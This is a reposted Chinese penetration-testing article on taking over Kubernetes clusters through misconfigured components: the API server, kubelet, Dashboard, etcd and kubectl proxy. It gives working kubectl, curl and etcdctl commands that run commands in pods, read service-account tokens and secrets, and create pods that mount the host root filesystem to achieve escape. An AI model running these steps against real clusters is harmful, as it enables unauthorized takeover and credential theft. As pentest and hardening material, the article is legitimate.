K8S常见组件配置不当利用记录

admin 2025年2月13日10:19:11评论13 views字数 4302阅读14分20秒阅读模式

文章首发于:

火线Zone社区(https://zone.huoxian.cn/)

渗透测试中的k8s各个组件未鉴权情况下如何利用都是需要去熟知的,这篇附上常见组件未授权或配置不当情况下如何攻击利用。

组件之间的关系

K8S常见组件配置不当利用记录

对组建的介绍文章很多了,这里不介绍组件的基础,只记录如何利用。

Apiserver

apiserver有两个端口一个认证(Insecure-port ,8080端口,低版本才对外开放,1.20版本后默认不开)、一个不认证(secure-port,6443端口)。

能利用的情况是开放端口并且配置错误,这里的配置错误是将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群:

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
K8S常见组件配置不当利用记录

这种配置下可以拿到所有token后与api server交互,支配集群:

K8S常见组件配置不当利用记录

利用

使用kubectlapiserver交互,或者就单纯curl来发包,效果都是一样的。

容器内下载kubectl:

curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"

执行pod内命令:

kubectl -s 192.168.1.22:8080 get node   #查看nodekubectl -s 192.168.1.22:8080 get pods  #查看podkubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash  #对pod的容器shell

替换成curl的话也是一样的,把kubectl的包转成curl即可:

K8S常见组件配置不当利用记录
https://192.168.1.22:6443/api/v1/namespaces/default/pods/attackerhttps://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker/exec?command=ls&container=ubuntu&container=ubuntu&stderr=true&stdout=true

这时候已经可以执行各种容器的shell和拿到service-account的token之类的了,如果要控apiserver,最简单的就是创建pod的容器挂载宿主机的根目录后续写私钥计划任务之类的,例子:

K8S常见组件配置不当利用记录

转成curl也是一样的:

curl -k $APISERVER/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml

你可以提前把需要创建的pod转成json,再来用curl发包:

K8S常见组件配置不当利用记录

kubelet

kublet是管理本机Pod的的工具,而kubectl是用于管理集群的。

每一个 Node 节点都有一个 kubelet 服务,kubelet 监听了 10250,10248,10255 等端口。

  • 10250会鉴权,默认是安全的。

  • 10255不鉴权,但是是只读端口无法执行命令,可读env、进程信息等。

kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml

配置错误的条件是: 

  • kubelet api能否被匿名访问

  • kubelet api访问是否需要经过Api server进行授权

默认kubelet配置文件如下:

K8S常见组件配置不当利用记录

如果将配置文件中,authentication-anonymous-enabled改为true并且authorization-mode为AlwaysAllow

K8S常见组件配置不当利用记录

那么就可以实现kubelet未授权访问。

利用

在pod中执行命令

访问10250发现未授权情况:

K8S常见组件配置不当利用记录

通过和api交互,执行pod中的容器命令:
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"

K8S常见组件配置不当利用记录

而通过/pod API 中可以获取到每个 POD 的配置,通过筛选host*、securityContext、volumes等特殊字段内容也可以快速得出哪些是特权容器,方便逃逸。

dashboard

利用条件是管理修改配置,让dashboard可以跳过登录并且配置了高权限Service Account(cluster-admin),

两个条件达成才可以利用。

安装dashborad:

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yamlkubectl proxy   #默认端口 8001

错误配置1跳过登录:
加了--enable-skip-login参数即可跳过登录:

K8S常见组件配置不当利用记录

错误配置2高权限Service Account
clusterrolebinding对象把sa绑定cluster-admin角色:

apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: admin-userroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- kind: ServiceAccount  name: admin-user  namespace: kubernetes-dashboard

两个满足以后,进入dashboard就可以随便部署pod,然后挂载宿主机根目录 ,和前面创建恶意pod一样的流程了:

K8S常见组件配置不当利用记录

etcd

etcd 被广泛用于存储分布式系统或机器集群数据,其默认监听了 2379 等端口。

利用条件是错误配置了未授权,etcd的配置文件是
/etc/kubernetes/manifests/etcd.yaml,如果配置中默认去掉了证书校验选项并且能够访问到2379就会有未授权接管的情况:

K8S常见组件配置不当利用记录

利用

etcd有v2和v3两个版本,k8s用的是v3版本,所以需要在访问etcd的时候需要用命令ETCDCTL_API=3来指定etcd版本。

利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它

https://github.com/etcd-io/etcd/releases/

在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接暴露给外部黑客"

默认不带证书是无法认证的:

K8S常见组件配置不当利用记录
export ETCDCTL_API=3export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crtexport ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crtexport ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

把证书相关文件加入环境变量后才能访问:

K8S常见组件配置不当利用记录

如果是未授权情况,可以不带证书的校验去访问,获取token:

/etcdctl --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole/etcdctl --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp

拿到token以后就和前面一样了:

kubectl --insecure-skip-tls-verify=true --server="https://ip:8443" --token="eyJhbG......" get secrets --all-namespaces
K8S常见组件配置不当利用记录

自然也可以命令执行:

K8S常见组件配置不当利用记录

kubectl proxy

k8s如果在pod上开端口并且使用ClusterIP Service 绑定创建一个service后,需要开放nodeport或者cni这种插件来开放,但是如果为了方便使用kubectl proxy 把localhost地址代理到kubernetes apiserver:

kubectl proxy --address=xxx.xxx.xxx.xxx --port=8080 &

本质上也是kubectl proxy为访问kubernetes apiserver的REST api充当反向代理角色,这样的话通过kubectl proxy转发apiserver,但是这样默认是不鉴权,所以也能导致被接管。

K8S常见组件配置不当利用记录

【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

K8S常见组件配置不当利用记录

【火线Zone社区周激励】

2022.5.23~ 2022.5.29公告

K8S常见组件配置不当利用记录

【相关精选文章】

K8S常见组件配置不当利用记录
K8S常见组件配置不当利用记录
K8S常见组件配置不当利用记录

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)

K8S常见组件配置不当利用记录

//  火线Zone//

微信号 : huoxian_zone

K8S常见组件配置不当利用记录

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):K8S常见组件配置不当利用记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日10:19:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   K8S常见组件配置不当利用记录https://cn-sec.com/archives/1071914.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息